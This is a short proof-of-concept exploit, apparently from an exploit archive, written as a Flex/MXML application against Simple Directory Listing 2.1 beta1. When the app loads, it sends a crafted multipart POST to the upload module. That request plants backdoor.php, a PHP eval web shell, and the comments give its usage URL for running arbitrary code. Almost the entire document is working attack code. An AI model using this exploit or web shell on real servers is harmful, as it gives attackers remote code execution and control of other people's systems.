Simple Directory Listing 2 - Cross Site File Upload
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<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
  <mx:Script>
    /*  
      Written by Michael Brooks
      
      VUlerablity type: Cross Site File Upload.
      Affects: SDL 2.1 beta1
      Product homepage: http://simpledirectorylisting.net/
      
      SDL has 22+ million downloads from sourceforge.net!
      The top three php projects where hacked in one day using . 
       
      Exploit built using Flex 3.2 (http://www.adobe.com/go/flex_trial)
      uploads ./backdoor.php in the same directory as SDL2.php
      Backdoor Useage:
      http://10.1.1.155/backdoor.php?e=phpinfo();
      backdoor code:
      <?php eval($_GET[e])?>
      
      More info on Cross Site File Upload Attacks:
      http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/
      Inspired by the work of Petko D. Petkov; pdp
     * GNUCITIZEN
     **/
    import flash.net.*;
    private function onAppInit():void{
      var request:URLRequest = new URLRequest("http://10.1.1.155/SDL2.php?action=module&module=ModuleUpload&moduleParams[action]=upload&moduleParams[cwdRelPath]=");  
      request.requestHeaders.push(new URLRequestHeader('Content-Type', 'multipart/form-data; boundary=---------------------------109092118919201'));       
       request.data = unescape('-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22file%22%3B filename%3D%22backdoor.php%22%0D%0AContent-Type%3A text%2Fplain%0D%0A%0D%0A%3C%3Fphp eval%28stripslashes%28%24_GET%5Be%5D%29%29%3F%3E%0D%0A-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22upload%22%0D%0A%0D%0AUpload%0D%0A-----------------------------109092118919201--%0A');
      request.method = URLRequestMethod.POST;
        navigateToURL(request, '_self');  
    }
  </mx:Script>
</mx:Application>